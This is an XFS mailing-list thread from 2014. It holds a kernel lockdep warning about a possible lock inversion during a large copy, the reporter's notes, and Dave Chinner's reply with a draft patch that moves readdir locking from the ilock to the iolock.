lock(&xfs_dir_ilock_class); *** DEADLOCK *** 3 locks held by kswapd0/25: #0: (shrinker_rwsem){++++..}, at: [<790c04b7>] shrink_slab+0x2a/0xda #1: (&type->s_umount_key#20){++++.+}, at: [<790e55c3>] grab_super_passive+0x3b/0x75 #2: (&pag->pag_ici_reclaim_lock){+.+...}, at: [<7917809a>] xfs_reclaim_inodes_ag+0xb4/0x3a7 the shortest dependencies between 2nd lock and 1st lock: -> (&mm->mmap_sem){++++++} ops: 146382 { HARDIRQ-ON-W at: [<79064553>] __lock_acquire+0x58a/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<792f6409>] down_write+0x4c/0xa3 [<790e96e5>] do_execve_common+0x2bf/0x5bf [<790e99f2>] do_execve+0xd/0xf [<79000341>] run_init_process+0x21/0x23 [<79000357>] try_to_run_init_process+0x14/0x4d [<792ec5cf>] kernel_init+0x90/0xce [<792f8537>] ret_from_kernel_thread+0x1b/0x28 HARDIRQ-ON-R at: [<79064477>] __lock_acquire+0x4ae/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<790d1718>] might_fault+0x81/0xa9 [<7922fc80>] clear_user+0x13/0x46 [<79123c80>] padzero+0x22/0x2e [<7912552b>] load_elf_binary+0x500/0xd35 [<790e93ec>] search_binary_handler+0x72/0xac [<790e98c1>] do_execve_common+0x49b/0x5bf [<790e99f2>] do_execve+0xd/0xf [<79000341>] run_init_process+0x21/0x23 [<79000357>] try_to_run_init_process+0x14/0x4d [<792ec5cf>] kernel_init+0x90/0xce [<792f8537>] ret_from_kernel_thread+0x1b/0x28 SOFTIRQ-ON-W at: [<79064579>] __lock_acquire+0x5b0/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<792f6409>] down_write+0x4c/0xa3 [<790e96e5>] do_execve_common+0x2bf/0x5bf [<790e99f2>] do_execve+0xd/0xf [<79000341>] run_init_process+0x21/0x23 [<79000357>] try_to_run_init_process+0x14/0x4d [<792ec5cf>] kernel_init+0x90/0xce [<792f8537>] ret_from_kernel_thread+0x1b/0x28 SOFTIRQ-ON-R at: [<79064579>] __lock_acquire+0x5b0/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<790d1718>] might_fault+0x81/0xa9 [<7922fc80>] clear_user+0x13/0x46 [<79123c80>] padzero+0x22/0x2e [<7912552b>] load_elf_binary+0x500/0xd35 [<790e93ec>] search_binary_handler+0x72/0xac [<790e98c1>] do_execve_common+0x49b/0x5bf [<790e99f2>] do_execve+0xd/0xf [<79000341>] run_init_process+0x21/0x23 [<79000357>] try_to_run_init_process+0x14/0x4d [<792ec5cf>] kernel_init+0x90/0xce [<792f8537>] ret_from_kernel_thread+0x1b/0x28 RECLAIM_FS-ON-W at: [<790620d7>] mark_held_locks+0x81/0xe7 [<79062aac>] lockdep_trace_alloc+0xa5/0xe6 [<790b97a5>] __alloc_pages_nodemask+0x6f/0x6be [<790dfb14>] new_slab+0x5f/0x21c [<792f1a88>] __slab_alloc.isra.59.constprop.67+0x25f/0x43d [<790e0974>] kmem_cache_alloc+0x91/0xf9 [<790d35ed>] __split_vma.isra.34+0x28/0x141 [<790d4523>] do_munmap+0x234/0x2b0 [<790d5115>] vm_munmap+0x37/0x4a [<790d513b>] SyS_munmap+0x13/0x15 [<792f85b8>] sysenter_do_call+0x12/0x36 RECLAIM_FS-ON-R at: [<790620d7>] mark_held_locks+0x81/0xe7 [<79062aac>] lockdep_trace_alloc+0xa5/0xe6 [<790b97a5>] __alloc_pages_nodemask+0x6f/0x6be [<790269fa>] pte_alloc_one+0x24/0x3c [<790cead5>] __pte_alloc+0x1a/0x85 [<790d0d0c>] handle_mm_fault+0x5d8/0x604 [<79023d1f>] __do_page_fault+0x110/0x3bc [<790240d3>] do_page_fault+0xd/0xf [<792f832b>] error_code+0x5f/0x64 [<79123c80>] padzero+0x22/0x2e [<7912552b>] load_elf_binary+0x500/0xd35 [<790e93ec>] search_binary_handler+0x72/0xac [<790e98c1>] do_execve_common+0x49b/0x5bf [<790e99f2>] do_execve+0xd/0xf [<79000341>] run_init_process+0x21/0x23 [<79000357>] try_to_run_init_process+0x14/0x4d [<792ec5cf>] kernel_init+0x90/0xce [<792f8537>] ret_from_kernel_thread+0x1b/0x28 INITIAL USE at: [<79064276>] __lock_acquire+0x2ad/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<792f6409>] down_write+0x4c/0xa3 [<790e96e5>] do_execve_common+0x2bf/0x5bf [<790e99f2>] do_execve+0xd/0xf [<79000341>] run_init_process+0x21/0x23 [<79000357>] try_to_run_init_process+0x14/0x4d [<792ec5cf>] kernel_init+0x90/0xce [<792f8537>] ret_from_kernel_thread+0x1b/0x28 } ... key at: [<795f1eec>] __key.44037+0x0/0x8 ... acquired at: [<79064360>] __lock_acquire+0x397/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<790d1718>] might_fault+0x81/0xa9 [<790f379a>] filldir64+0x92/0xe2 [<7916f079>] xfs_dir2_sf_getdents+0x1a0/0x44c [<7917009e>] xfs_readdir+0xc4/0x126 [<79171b8b>] xfs_file_readdir+0x25/0x3e [<790f385a>] iterate_dir+0x70/0x9b [<790f3a31>] SyS_getdents64+0x6d/0xcc [<792f85b8>] sysenter_do_call+0x12/0x36 -> (&xfs_dir_ilock_class){++++-.} ops: 11354 { HARDIRQ-ON-W at: [<79064553>] __lock_acquire+0x58a/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<7905e559>] down_write_nested+0x4f/0x9f [<791c09fa>] xfs_ilock+0xff/0x16c [<7917db25>] xfs_vn_update_time+0x6c/0x150 [<790f9302>] update_time+0x1e/0x9e [<790faed8>] touch_atime+0xcd/0x101 [<790f3879>] iterate_dir+0x8f/0x9b [<790f3a31>] SyS_getdents64+0x6d/0xcc [<792f85b8>] sysenter_do_call+0x12/0x36 HARDIRQ-ON-R at: [<79064477>] __lock_acquire+0x4ae/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<7905e409>] down_read_nested+0x4f/0x8a [<791c09b4>] xfs_ilock+0xb9/0x16c [<791c0a85>] xfs_ilock_data_map_shared+0x1e/0x3a [<79172550>] xfs_dir_open+0x2e/0x64 [<790e1d86>] do_dentry_open.isra.26+0x115/0x221 [<790e2f06>] finish_open+0x1b/0x27 [<790ef0e6>] do_last.isra.60+0x89c/0xe6b [<790ef75e>] path_openat+0xa9/0x4fe [<790efbe4>] do_filp_open+0x31/0x72 [<790e339a>] do_sys_open+0x112/0x181 [<790e344d>] SyS_openat+0x20/0x22 [<792f85b8>] sysenter_do_call+0x12/0x36 SOFTIRQ-ON-W at: [<79064579>] __lock_acquire+0x5b0/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<7905e559>] down_write_nested+0x4f/0x9f [<791c09fa>] xfs_ilock+0xff/0x16c [<7917db25>] xfs_vn_update_time+0x6c/0x150 [<790f9302>] update_time+0x1e/0x9e [<790faed8>] touch_atime+0xcd/0x101 [<790f3879>] iterate_dir+0x8f/0x9b [<790f3a31>] SyS_getdents64+0x6d/0xcc [<792f85b8>] sysenter_do_call+0x12/0x36 SOFTIRQ-ON-R at: [<79064579>] __lock_acquire+0x5b0/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<7905e409>] down_read_nested+0x4f/0x8a [<791c09b4>] xfs_ilock+0xb9/0x16c [<791c0a85>] xfs_ilock_data_map_shared+0x1e/0x3a [<79172550>] xfs_dir_open+0x2e/0x64 [<790e1d86>] do_dentry_open.isra.26+0x115/0x221 [<790e2f06>] finish_open+0x1b/0x27 [<790ef0e6>] do_last.isra.60+0x89c/0xe6b [<790ef75e>] path_openat+0xa9/0x4fe [<790efbe4>] do_filp_open+0x31/0x72 [<790e339a>] do_sys_open+0x112/0x181 [<790e344d>] SyS_openat+0x20/0x22 [<792f85b8>] sysenter_do_call+0x12/0x36 IN-RECLAIM_FS-W at: [<79064676>] __lock_acquire+0x6ad/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<7905e559>] down_write_nested+0x4f/0x9f [<791c09fa>] xfs_ilock+0xff/0x16c [<79177db4>] xfs_reclaim_inode+0xdb/0x30d [<79178260>] xfs_reclaim_inodes_ag+0x27a/0x3a7 [<7917840b>] xfs_reclaim_inodes_nr+0x2d/0x33 [<791837d1>] xfs_fs_free_cached_objects+0x13/0x15 [<790e57f8>] super_cache_scan+0x129/0x12d [<790befdc>] shrink_slab_node+0x125/0x270 [<790c04f0>] shrink_slab+0x63/0xda [<790c273e>] kswapd+0x31d/0x770 [<790458fa>] kthread+0xa1/0xb6 [<792f8537>] ret_from_kernel_thread+0x1b/0x28 INITIAL USE at: [<79064276>] __lock_acquire+0x2ad/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<7905e409>] down_read_nested+0x4f/0x8a [<791c09b4>] xfs_ilock+0xb9/0x16c [<791c0a85>] xfs_ilock_data_map_shared+0x1e/0x3a [<79172550>] xfs_dir_open+0x2e/0x64 [<790e1d86>] do_dentry_open.isra.26+0x115/0x221 [<790e2f06>] finish_open+0x1b/0x27 [<790ef0e6>] do_last.isra.60+0x89c/0xe6b [<790ef75e>] path_openat+0xa9/0x4fe [<790efbe4>] do_filp_open+0x31/0x72 [<790e339a>] do_sys_open+0x112/0x181 [<790e344d>] SyS_openat+0x20/0x22 [<792f85b8>] sysenter_do_call+0x12/0x36 } ... key at: [<79bfe07c>] xfs_dir_ilock_class+0x0/0x8 ... acquired at: [<79060873>] check_usage_forwards+0xf8/0xfa [<79061f62>] mark_lock+0x1b3/0x2a7 [<79064676>] __lock_acquire+0x6ad/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<7905e559>] down_write_nested+0x4f/0x9f [<791c09fa>] xfs_ilock+0xff/0x16c [<79177db4>] xfs_reclaim_inode+0xdb/0x30d [<79178260>] xfs_reclaim_inodes_ag+0x27a/0x3a7 [<7917840b>] xfs_reclaim_inodes_nr+0x2d/0x33 [<791837d1>] xfs_fs_free_cached_objects+0x13/0x15 [<790e57f8>] super_cache_scan+0x129/0x12d [<790befdc>] shrink_slab_node+0x125/0x270 [<790c04f0>] shrink_slab+0x63/0xda [<790c273e>] kswapd+0x31d/0x770 [<790458fa>] kthread+0xa1/0xb6 [<792f8537>] ret_from_kernel_thread+0x1b/0x28 stack backtrace: CPU: 0 PID: 25 Comm: kswapd0 Not tainted 3.14.0-rc5+ #6 Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 00000000 00000000 781b1b6c 792f2495 781b1bb0 781b1b90 792efde6 793b75f7 793b7965 00000019 7819b1c0 00000000 7819b654 7819b1c0 781b1be0 79060873 7819b654 00000001 793b7965 781b1bac 79a83100 79a83100 79834600 7819b654 Call Trace: [<792f2495>] dump_stack+0x48/0x60 [<792efde6>] print_irq_inversion_bug.part.36+0x173/0x17b [<79060873>] check_usage_forwards+0xf8/0xfa [<7906077b>] ? check_usage_backwards+0xfc/0xfc [<79061f62>] mark_lock+0x1b3/0x2a7 [<79053956>] ? sched_clock_local+0x42/0x12e [<7906077b>] ? check_usage_backwards+0xfc/0xfc [<79064676>] __lock_acquire+0x6ad/0xa6c [<7906510f>] lock_acquire+0x8b/0x101 [<791c09fa>] ? xfs_ilock+0xff/0x16c [<7905e559>] down_write_nested+0x4f/0x9f [<791c09fa>] ? xfs_ilock+0xff/0x16c [<791c09fa>] xfs_ilock+0xff/0x16c [<79177db4>] xfs_reclaim_inode+0xdb/0x30d [<79178260>] xfs_reclaim_inodes_ag+0x27a/0x3a7 [<791780cc>] ? xfs_reclaim_inodes_ag+0xe6/0x3a7 [<7917840b>] xfs_reclaim_inodes_nr+0x2d/0x33 [<791837d1>] xfs_fs_free_cached_objects+0x13/0x15 [<790e57f8>] super_cache_scan+0x129/0x12d [<790befdc>] shrink_slab_node+0x125/0x270 [<790c04b7>] ? shrink_slab+0x2a/0xda [<790c04f0>] shrink_slab+0x63/0xda [<790c273e>] kswapd+0x31d/0x770 [<790c2421>] ? try_to_free_pages+0x373/0x373 [<790458fa>] kthread+0xa1/0xb6 [<790624ff>] ? trace_hardirqs_on+0xb/0xd [<792f8537>] ret_from_kernel_thread+0x1b/0x28 [<79045859>] ? __kthread_parkme+0x57/0x57 [sched_delayed] sched: RT throttling activated cp (149) used greatest stack depth: 5152 bytes left I call it harmless because its single-CPU variant can be reproduced as far back as I could bisect in earlier testing (way before kernel 2.6.20). However, such lockdep splats have never manifested in a noticeable problem on production kernels on x86. Either down_write_nested or down_read_nested is in all of them, depending on which kernel version is in use. At least one reclaim-related function is in there as well. vm_map_ram used to be in there, but Dave took care of that (thanks!). This particular splat has been showing up more often, though. It's not tied to one particular commit, event, or change; just something that has crept in gradually since maybe kernel 3.11. It's like watching grass grow or watching paint dry. Might somebody keep an eye on this? With enough debug enabled, it might show on a large cp or `tar -x` operation. xfstests rarely invokes such an issue. It happens when there are enough inodes and data flowing that RAM should be full. In many cases, more than one partition is in play. crypt partitions are not required. The test system is an i686 Pentium 4 with 1280 MB of RAM, running a stripped-down Slackware 14.1 with elfutils and test programs on top. Thanks! Michael From david@fromorbit.com Sun Mar 9 21:55:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C77C37F3F for ; Sun, 9 Mar 2014 21:55:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 402B0AC001 for ; Sun, 9 Mar 2014 19:55:42 -0700 (PDT) X-ASG-Debug-ID: 1394420138-04cb6c56783de6d0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 7h36Z0etHqFML0HY for ; Sun, 09 Mar 2014 19:55:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkUKABcpHVN5LJYe/2dsb2JhbABagwa8dYFThAWBFhd0giUBAQEDAScTHCMFCwgDFQMJJQ8FJQMhExuHVgfPNRcWjVprB4Q4BJM5gSCDa5Iug0Ep Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2014 13:25:37 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WMqN9-00082s-4n; Mon, 10 Mar 2014 13:55:23 +1100 Date: Mon, 10 Mar 2014 13:55:23 +1100 From: Dave Chinner To: "Michael L. Semon" Cc: xfs-oss Subject: Re: Multi-CPU harmless lockdep on x86 while copying data Message-ID: <20140310025523.GV6851@dastard> X-ASG-Orig-Subj: Re: Multi-CPU harmless lockdep on x86 while copying data References: <531BD8B9.1090400@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <531BD8B9.1090400@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1394420138 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3748 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sat, Mar 08, 2014 at 09:58:01PM -0500, Michael L. Semon wrote: > Hi! I was playing a shell game with some precious backup data. It > went like this: > > open a 36-GB source partition (DM linear, partitions from 2 drives, > v5-superblock XFS) > > open a 32-GB aes-xts crypt (v4-superblock XFS) > > `cp -av` from holding partition to crypt > > It was during the cp operation that I got this multi-CPU version of > the harmless lockdep: > > ========================================================= > [ INFO: possible irq lock inversion dependency detected ] > 3.14.0-rc5+ #6 Not tainted > --------------------------------------------------------- > kswapd0/25 just changed the state of lock: > (&xfs_dir_ilock_class){++++-.}, at: [<791c09fa>] xfs_ilock+0xff/0x16c > but this lock took another, RECLAIM_FS-unsafe lock in the past: > (&mm->mmap_sem){++++++} > > and interrupts could create inverse lock ordering between them. > > > other info that might help us debug this: > Possible interrupt unsafe locking scenario: > > CPU0 CPU1 > ---- ---- > lock(&mm->mmap_sem); > local_irq_disable(); > lock(&xfs_dir_ilock_class); > lock(&mm->mmap_sem); > > lock(&xfs_dir_ilock_class); Well, that's rather interesting. I'd love to know where we take the directory ilock with interupts disabled - and then take a page fault... :/ .... > } > ... key at: [<795f1eec>] __key.44037+0x0/0x8 > ... acquired at: > [<79064360>] __lock_acquire+0x397/0xa6c > [<7906510f>] lock_acquire+0x8b/0x101 > [<790d1718>] might_fault+0x81/0xa9 > [<790f379a>] filldir64+0x92/0xe2 > [<7916f079>] xfs_dir2_sf_getdents+0x1a0/0x44c > [<7917009e>] xfs_readdir+0xc4/0x126 > [<79171b8b>] xfs_file_readdir+0x25/0x3e > [<790f385a>] iterate_dir+0x70/0x9b > [<790f3a31>] SyS_getdents64+0x6d/0xcc > [<792f85b8>] sysenter_do_call+0x12/0x36 All of these paths are from the syscall path, except for one in kswapd context. I don't see any stack trace here that could result in the above "deadlock". It looks to be yet another false positive... > I call it harmless because its single-CPU variant can be reproduced > as far back as I could bisect in earlier testing (way before > kernel 2.6.20). However, such lockdep splats have never manifested > in a noticeable problem on production kernels on x86. Either > down_write_nested or down_read_nested is in all of them, depending > on which kernel version is in use. At least one reclaim-related > function is in there as well. vm_map_ram used to be in there, but Dave > took care of that (thanks!). > > This particular splat has been showing up more often, though. It's not > tied to one particular commit, event, or change; just something that > has crept in gradually since maybe kernel 3.11. It's like watching > grass grow or watching paint dry. The above reports all indicate that the taking a page fault while holding the directory ilock is problematic. So have all the other new lockdep reports we've got that have been caused by that change. Realistically, I think that the readdir locking change was fundamentally broken. Why? Because taking page faults while holding the ilock violates the lock order we have for inodes. For regular files, the lock heirarchy is iolock -> page fault -> ilock, and we got rid of the need for the iolock in the inode reclaim path because of all the problems it caused lockdep. Now we've gone and reintroduced that same set of problems - only worse - by allowing the readdir code to take page faults while holding the ilock.... I'd like to revert the change that introduced the ilock into the readdir path, but I suspect that woul dbe an unpopular direction to take. However, we need a solution that doesn't drive us insane with lockdep false positives. IOWs, we need to do this differently - readdir needs to be protected by the iolock, not the ilock, and only the block mapping routines in the readdir code should be protected by the ilock. i.e. the same locking strategy that is used for regular files: iolock protects the contents of the file, the ilock protects the inode metadata. What I think we really need to do is drive the ilock all the way into the block mapping functions of the directory code and to the places where the inode metadata is actually going to be modified. The iolock protects access to the directory data, and logging of changes to those blocks is serialised by the buffer locks, so we don't actually need the inode ilock to serialise access to the directory data - we only need the ilock for modifications to the inode and it's blockmaps itself, same as for regular files. Changing the directory code to handle this sort of locking is going to require a bit of surgery. However, I can see advantages to moving directory data to the same locking strategy as regular file data - locking heirarchies are identical, directory ilock hold times are much reduced, we don't get lockdep whining about taking page faults with the ilock held, etc. A quick hack at to demonstrate the high level, initial step of using the IOLOCK for readdir serialisation. I've done a little smoke testing on it, so it won't die immediately. It should get rid of all the nasty lockdep issues, but it doesn't start to address the deeper restructing that is needed. Thoughts, comments? I'm especially interested in what SGI people have to say here because this locking change was needed for CXFS, and changing the directory locking iheirarchy is probably going to upset CXFS a lot... Cheers, Dave. -- Dave Chinner david@fromorbit.com xfs; holding ilock over readdir is wrong From: Dave Chinner The recent change to the readdir locking made in 40194ec ("xfs: reinstate the ilock in xfs_readdir") for CXFS directory sanity was fundamentally the wrong thing to do. deep in the readdir code we can take page faults in the filldir callback, and so taking a page fault while holding an inode ilock creates a new set of locking issues that lockdep warns all over the place about. The locking order for regularl inodes w.r.t. page faults is io_lock -> pagefault -> mmap_sem -> ilock. The directory readdir code now triggers ilock -> page fault -> mmap_sem. While we cannot deadlock at this point, it inverts all the locking patterns that lockdep normally sees on XFS inodes, and so triggers lockdep. We worked around this with commit 93a8614 ("xfs: fix directory inode iolock lockdep false positive"), but that then just moved the lockdep warning to deeper in the page fault path and triggered on seurity inode locks. Further, if we enter memory reclaim in a readdir path, we now get lockdep warning about potential deadlocks because the ilock is held when we enter reclaim. This, again, is different to a regular file in that we never allow memory reclaim to run while holding the ilock for regular files. Hence lockdep now throws ilock->kmalloc->reclaim->ilock warnings. Basically, the problem is that the ilock is being used to protect the directory data and the inode metadata, whereas for a regular file the iolock protects the data and the ilock protects the metadata. From the VFS perspective, the i_mutex serialises all accesses to the directory data, and so not holding the ilock for readdir doesn't matter. The issue is that CXFS doesn't access directory data via the VFS, so it has no "data serialisaton" mechanism. While the simplest way to fix these problems would simply be to revert the ilock addition made to xfs_readdir,but I figure that would be unpopular with some people. Hence we need a different solution: we should use the iolock to protect readdir against modification races. The ilock can then be used just when the extent list needs to be read, just like we do for regular files. The directory modification code can now take the iolock exclusive when the ilock is also taken, and this then ensures that readdir is correct excluded while modifications are in progress. This would be a straight forward change, except for two things: filestreams and lockdep. The filestream allocator takes the directory iolock and makes assumptions about parent->child locking order of the iolock which will now be invalidated. Hence some changes to the filestreams code is needed to ensure that it never blocks on directory iolocks and deadlocks. instead it needs to fail stream associations when such problems occur. Lockdep is just plain annoying. We have a bug in our handling of the XFS_LOCK_PARENT handling when it comes to locking multiple inodes with that flag set - lockdep classes are exclusive and can't be ORed together to form new classes. And there's only 8 subclasses available. Luckily, we only need the new annotations on the iolock, and we never lok more than 2 of those at once, so there's space available in the iolock lockdep mask to shoehorn in a separate lockdep subclass map for parent based iolocks. Signed-off-by: Dave Chinner --- fs/xfs/xfs_dir2.c | 3 +++ fs/xfs/xfs_dir2_readdir.c | 10 ++++++++-- fs/xfs/xfs_filestream.c | 26 +++++++++++++++--------- fs/xfs/xfs_inode.c | 50 +++++++++++++++++++++++++++++++++++------------ fs/xfs/xfs_inode.h | 7 ++++++- fs/xfs/xfs_symlink.c | 7 ++++--- 6 files changed, 75 insertions(+), 28 deletions(-) diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index 0c8ba87..b206da1 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -307,6 +307,7 @@ xfs_dir_lookup( struct xfs_da_args *args; int rval; int v; /* type-checking value */ + int lock_mode; ASSERT(S_ISDIR(dp->i_d.di_mode)); XFS_STATS_INC(xs_dir_lookup); @@ -331,6 +332,7 @@ xfs_dir_lookup( if (ci_name) args->op_flags |= XFS_DA_OP_CILOOKUP; + lock_mode = xfs_ilock_data_map_shared(dp); if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { rval = xfs_dir2_sf_lookup(args); goto out_check_rval; @@ -363,6 +365,7 @@ out_check_rval: } } out_free: + xfs_iunlock(dp, lock_mode); kmem_free(args); return rval; } diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index aead369..19863fe 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -190,6 +190,7 @@ xfs_dir2_block_getdents( char *ptr; /* current data entry */ int wantoff; /* starting block offset */ xfs_off_t cook; + int lock_mode; mp = dp->i_mount; /* @@ -198,7 +199,9 @@ xfs_dir2_block_getdents( if (xfs_dir2_dataptr_to_db(mp, ctx->pos) > mp->m_dirdatablk) return 0; + lock_mode = xfs_ilock_data_map_shared(dp); error = xfs_dir3_block_read(NULL, dp, &bp); + xfs_iunlock(dp, lock_mode); if (error) return error; @@ -552,9 +555,12 @@ xfs_dir2_leaf_getdents( * current buffer, need to get another one. */ if (!bp || ptr >= (char *)bp->b_addr + mp->m_dirblksize) { + int lock_mode; + lock_mode = xfs_ilock_data_map_shared(dp); error = xfs_dir2_leaf_readbuf(dp, bufsize, map_info, &curoff, &bp); + xfs_iunlock(dp, lock_mode); if (error || !map_info->map_valid) break; @@ -684,7 +690,7 @@ xfs_readdir( ASSERT(S_ISDIR(dp->i_d.di_mode)); XFS_STATS_INC(xs_dir_getdents); - lock_mode = xfs_ilock_data_map_shared(dp); + xfs_ilock(dp, XFS_IOLOCK_SHARED); if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) rval = xfs_dir2_sf_getdents(dp, ctx); else if ((rval = xfs_dir2_isblock(NULL, dp, &v))) @@ -693,7 +699,7 @@ xfs_readdir( rval = xfs_dir2_block_getdents(dp, ctx); else rval = xfs_dir2_leaf_getdents(dp, ctx, bufsize); - xfs_iunlock(dp, lock_mode); + xfs_iunlock(dp, XFS_IOLOCK_SHARED); return rval; } diff --git a/fs/xfs/xfs_filestream.c b/fs/xfs/xfs_filestream.c index 12b6e77..a2b8b12 100644 --- a/fs/xfs/xfs_filestream.c +++ b/fs/xfs/xfs_filestream.c @@ -597,9 +597,6 @@ xfs_filestream_associate( * waiting for the lock because someone else is waiting on the lock we * hold and we cannot drop that as we are in a transaction here. * - * Lucky for us, this inversion is not a problem because it's a - * directory inode that we are trying to lock here. - * * So, if we can't get the iolock without sleeping then just give up */ if (!xfs_ilock_nowait(pip, XFS_IOLOCK_EXCL)) @@ -746,13 +743,24 @@ xfs_filestream_new_ag( * themselves and their parent to different AGs. * * Note that we lock the parent directory iolock inside the child - * iolock here. That's fine as we never hold both parent and child - * iolock in any other place. This is different from the ilock, - * which requires locking of the child after the parent for namespace - * operations. + * iolock here. That's fine as we never hold both parent and child + * iolock in any other place. However, we also hold the child ilock + * here, so we are locking inside that as well. This inverts directory + * iolock/child ilock order for operations like rename, and hence we + * cannot block in the parent iolock here. + * + * This is different from the ilock, However, we also hold the child + * ilock here, so we are locking inside that as well. This inverts + * directory iolock/child ilock order for operations like rename, and + * hence we cannot block in the parent iolock here. If we can't get the + * parent iolock, then just default to AG 0 and return. */ - if (pip) - xfs_ilock(pip, XFS_IOLOCK_EXCL | XFS_IOLOCK_PARENT); + if (pip) { + if (!xfs_ilock_nowait(pip, XFS_IOLOCK_EXCL)) { + *agp = 0; + return 0; + } + } /* * A new AG needs to be found for the file. If the file's parent diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 7a1668b..422603d 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -321,10 +321,25 @@ int xfs_lock_delays; static inline int xfs_lock_inumorder(int lock_mode, int subclass) { - if (lock_mode & (XFS_IOLOCK_SHARED|XFS_IOLOCK_EXCL)) - lock_mode |= (subclass + XFS_LOCK_INUMORDER) << XFS_IOLOCK_SHIFT; - if (lock_mode & (XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)) - lock_mode |= (subclass + XFS_LOCK_INUMORDER) << XFS_ILOCK_SHIFT; + if (lock_mode & (XFS_IOLOCK_SHARED|XFS_IOLOCK_EXCL)) { + ASSERT(subclass <= XFS_IOLOCK_MAX_SUBCLASS); + subclass += XFS_IOLOCK_INUMORDER; + if (lock_mode & XFS_IOLOCK_PARENT) { + subclass += XFS_IOLOCK_INUMORDER_PARENT; + lock_mode &= ~XFS_IOLOCK_PARENT; + } + ASSERT(subclass < MAX_LOCKDEP_SUBCLASSES); + lock_mode |= subclass << XFS_IOLOCK_SHIFT; + } + + if (lock_mode & (XFS_ILOCK_SHARED|XFS_ILOCK_EXCL)) { + ASSERT(subclass <= XFS_ILOCK_MAX_SUBCLASS); + ASSERT(!(lock_mode & XFS_ILOCK_PARENT)); + subclass += XFS_ILOCK_INUMORDER; + ASSERT(subclass < MAX_LOCKDEP_SUBCLASSES); + lock_mode |= subclass << XFS_ILOCK_SHIFT; + } + return lock_mode; } @@ -584,9 +599,9 @@ xfs_lookup( if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return XFS_ERROR(EIO); - lock_mode = xfs_ilock_data_map_shared(dp); + xfs_ilock(dp, XFS_IOLOCK_SHARED); error = xfs_dir_lookup(NULL, dp, name, &inum, ci_name); - xfs_iunlock(dp, lock_mode); + xfs_iunlock(dp, XFS_IOLOCK_SHARED); if (error) goto out; @@ -1191,7 +1206,8 @@ xfs_create( goto out_trans_cancel; } - xfs_ilock(dp, XFS_ILOCK_EXCL | XFS_ILOCK_PARENT); + xfs_ilock(dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL | + XFS_IOLOCK_PARENT | XFS_ILOCK_PARENT); unlock_dp_on_error = true; xfs_bmap_init(&free_list, &first_block); @@ -1228,7 +1244,7 @@ xfs_create( * the transaction cancel unlocking dp so don't do it explicitly in the * error path. */ - xfs_trans_ijoin(tp, dp, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); unlock_dp_on_error = false; error = xfs_dir_createname(tp, dp, name, ip->i_ino, @@ -1301,7 +1317,7 @@ xfs_create( xfs_qm_dqrele(pdqp); if (unlock_dp_on_error) - xfs_iunlock(dp, XFS_ILOCK_EXCL); + xfs_iunlock(dp, XFS_IOLOCK_EXCL | XFS_ILOCK_EXCL); return error; } @@ -1348,10 +1364,11 @@ xfs_link( goto error_return; } + xfs_ilock(tdp, XFS_IOLOCK_EXCL | XFS_IOLOCK_PARENT); xfs_lock_two_inodes(sip, tdp, XFS_ILOCK_EXCL); 